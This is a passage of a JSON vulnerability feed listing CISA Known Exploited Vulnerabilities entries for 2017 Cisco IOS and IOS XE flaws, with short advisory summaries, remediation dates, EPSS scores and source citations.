exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS software","stacks":["Cisco","IOS software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0707,"percentile":0.94168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12234&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12234","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12234 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12234&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12234, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12235","cveId":"CVE-2017-12235","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software for Cisco Industrial Ethernet Switches PROFINET Denial-of-Service Vulnerability","summary":"A vulnerability in the implementation of the PROFINET Discovery and Configuration Protocol (PN-DCP) for Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS software","stacks":["Cisco","IOS software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0707,"percentile":0.94167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12235","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12235 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12237","cveId":"CVE-2017-12237","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software Internet Key Exchange Denial-of-Service Vulnerability","summary":"A vulnerability in the Internet Key Exchange Version 2 (IKEv2) module of Cisco IOS and Cisco IOS XE could allow an unauthenticated, remote attacker to cause high CPU utilization, traceback messages, or a reload of an affected device that leads to a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0707,"percentile":0.94168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12237","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12237 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12238","cveId":"CVE-2017-12238","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst 6800 Series Switches VPLS Denial-of-Service Vulnerability","summary":"A vulnerability in the Virtual Private LAN Service (VPLS) code of Cisco IOS for Cisco Catalyst 6800 Series Switches could allow an unauthenticated, adjacent attacker to cause a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst 6800 Series Switches","stacks":["Cisco","Catalyst 6800 Series Switches"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02017,"percentile":0.80782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12238","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12238 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12240","cveId":"CVE-2017-12240","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software DHCP Remote Code Execution Vulnerability","summary":"The Dynamic Host Configuration Protocol (DHCP) relay subsystem of Cisco IOS and Cisco IOS XE Software contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code and gain full control of an affected system.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13773,"percentile":0.96487,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12240&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12240","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12240 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12240&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12240, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12319","cveId":"CVE-2017-12319","aliases":[],"kind":"vulnerability","title":"Cisco IOS XE Software Ethernet Virtual Private Network Border Gateway Protocol Denial-of-Service Vulnerability","summary":"A vulnerability in the Border Gateway Protocol (BGP) over an Ethernet Virtual Private Network (EVPN) for Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause the device to reload, resulting in a denial of service (DoS) condition, or potentially corrupt the BGP routing table, which could result in network instability.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XE Software","stacks":["Cisco","IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05243,"percentile":0.92474,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12319&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12319","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12319 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12319&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12319, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6627","cveId":"CVE-2017-6627","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software and Cisco IOS XE Software UDP Packet Processing Denial-of-Service Vulnerability","summary":"A vulnerability in the UDP processing code of Cisco IOS and IOS XE could allow an unauthenticated, remote attacker to cause the input queue of an affected system to hold UDP packets, causing an interface queue wedge and denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06158,"percentile":0.93427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6627","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6627 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6663","cveId":"CVE-2017-6663","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software and Cisco IOS XE Software Denial-of-Service Vulnerability","summary":"A vulnerability in the Autonomic Networking feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, adjacent attacker to cause autonomic nodes of an affected system to reload, resulting in denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02117,"percentile":0.81717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6663","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6663 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6736","cveId":"CVE-2017-6736","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70354,"percentile":0.99381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6736&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6736","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6736 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6736&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6736, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6737","cveId":"CVE-2017-6737","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4524,"percentile":0.98776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6737&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6737","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6737 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6737&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6737, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6738","cveId":"CVE-2017-6738","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10855,"percentile":0.95827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6738&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6738","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6738 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6738&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6738, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6739","cveId":"CVE-2017-6739","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10855,"percentile":0.95827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6739","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6739 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6739, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6740","cveId":"CVE-2017-6740","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.111,"percentile":0.95896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6740&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6740","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6740 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6740&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6740, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6743","cveId":"CVE-2017-6743","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10855,"percentile":0.95828,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6743&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6743","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6743 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6743&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6743, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6744","cveId":"CVE-2017-6744","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS 1 contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. An attacker could exploit these vulnerabilities by sending a crafted SNMP packet to an affected system via IPv4 or IPv6.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS software","stacks":["Cisco","IOS software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor 